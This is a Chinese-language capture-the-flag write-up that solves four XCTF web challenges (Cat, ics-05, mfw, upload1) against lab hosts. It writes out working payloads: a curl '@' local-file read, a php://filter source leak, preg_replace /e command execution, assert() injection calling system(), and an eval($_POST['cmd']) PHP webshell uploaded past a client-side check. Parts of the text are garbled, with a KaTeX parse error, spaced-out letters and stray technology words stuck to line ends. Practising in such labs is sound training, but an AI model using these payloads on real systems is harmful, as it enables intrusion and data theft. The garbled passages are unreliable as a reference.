功防世界Web高手进阶Writeup

攻防世界Web进阶区

0x01. Cat

  • 难度系数 1.0
  • 题目来源: XCTF 4th-WHCTF-2017
  • 题目描述: 抓住那只猫
  • 题目场景: http://111.198.29.45:43180/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 尝试提交空域名,返回Invalid Url, 提交题目给出的loli.club,什么也没有反应,但如今观察地址框 http://111.198.29.45:43180/index.php?url=loli.club , 应该想到能够构造get请求

在这里插入图片描述

  1. 经过尝试应该能够发现,URL后面加:javascript

    • 正常url, 好像没什么反应,(查看官方writeup,说返回ping结果)
    • 非法URL(特殊符号),返回Invalid URL
    • URL编码超过%80,返回Django报错

在这里插入图片描述
3. 队报错代码进行代码审计,能够获得有关数据库的相关信息,得到数据库径/opt/api/database.sqlite3
在这里插入图片描述
4. 使用@+文件名来读取本地文件,构造payload:php

http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3
  1. 搜索关键词ctf 获得flag, AWHCTF{yoooo_Such_A_G00D_@}

在这里插入图片描述

附注

官方用curl构造payloadcss

curl 'http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF

0x02. ics-05

  • 难度系数 1.0
  • 题目来源: XCTF 4th-CyberEarth
  • 题目描述: 其余破坏者会利用工控云管理系统设备维护中心的后门入侵系统
  • 题目场景: http://111.198.29.45:43227/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 题目提示是设备维护中心后门,因此打开页面后直接点击设备维护中心菜单进入

在这里插入图片描述
2. 再点击云平台设备维护中心, 发现地址栏url变了,而且页面中出现index字样
在这里插入图片描述
3. 想到能够,利用php://filter伪协议读取页面源码html

http://111.198.29.45:31639/index.php?page=php://filter/convert.base64-encode/resource=index.php
  1. base64解码后,进行代码审计获取到有用信息java

    //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
    
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "<br >Welcome My Admin ! <br >";
    
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
    
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    
    }
  2. preg_replace:(PHP 5.5)python

  • 功能 : 函数执行一个正则表达式的搜索和替换git

  • 定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )web

  • 搜索 subject 中匹配 pattern 的部分, 若是匹配成功以 replacement 进行替换正则表达式

p a t t e r n / e pattern 存在 /e 模式修正符,若是 pattern 和 $subject匹配, preg_replace会将 $replacement当作代码来执行
6.打开burpsuit,构造payload,尝试获取文件目录
在这里插入图片描述
7. 看到s3chahahaDir很可疑,进去看看
在这里插入图片描述
*注意+表明空格,%26%26为&&的url编码,表示执行完cd s3chahahaDir后,接着执行ls
8. 发现flag目录,接着进去瞧瞧
在这里插入图片描述
9. 发现flag.php, 用cat 命令读取,发现flag
在这里插入图片描述sql

0x03. mfw

  • 难度系数 1.0
  • 题目来源: **csaw-ctf-2016-quals **
  • 题目描述: 无
  • 题目场景: http://111.198.29.45:40481/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 打开页面,查看源码,发现被注释掉的页面flag页面
<div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li class="active"><a href="?page=home">Home</a></li>
		            	<li ><a href="?page=about">About</a></li>
		            	<li ><a href="?page=contact">Contact</a></li>
						<!--<li ><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
  1. 然而构造参数 http://111.198.29.45:40481/?page=flag访问并无什么发现
  2. 随便看看,在About页面看到网站有用到Git, 想到Git源码泄露,用dirsearch扫一下后台,发现git目录
python3 dirsearch.py -u http://111.198.29.45:40481/ -e php

在这里插入图片描述
4. GitHack 将源码下载下来, 对index.php进行代码审计(其余页面都看了,没有什么发现)

python27 GitHack.py http://111.198.29.45:40481/.git/

index.php

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
  1. 彷佛只有能够对file变量动点手脚,由于并无函数对file进行过滤,而file变量主要有传入的page变量构成,因此构造payload
?page=abc') or system("cat templates/flag.php");//

完整的页面访问路径为:

http://111.198.29.45:40481/?page=abc') or system("cat templates/flag.php");//

在这里插入图片描述
6. 执行以后查看,页面源码,获得flag

在这里插入图片描述

0x04. upload1

  • 难度系数 1.0
  • 题目来源:
  • 题目描述: 无
  • 题目场景: http://111.198.29.45:42110 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 打开页面,一样首先右键查看网页源码,发现存在客户端js验证文件类型
<script type="text/javascript">
 

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

</script>
  1. 具体思路就是上传一句话木马,客户端验证很好绕过,咱们构造一个图片马,1.jpg, 内容为php一句话
<?php @eval($_POST['cmd']);?>
  1. 用burpsuit抓包,修改文件名缀为1.php
    在这里插入图片描述
    4.用菜刀或者蚁剑链接获得webshell,在网站根目录发现flag
    在这里插入图片描述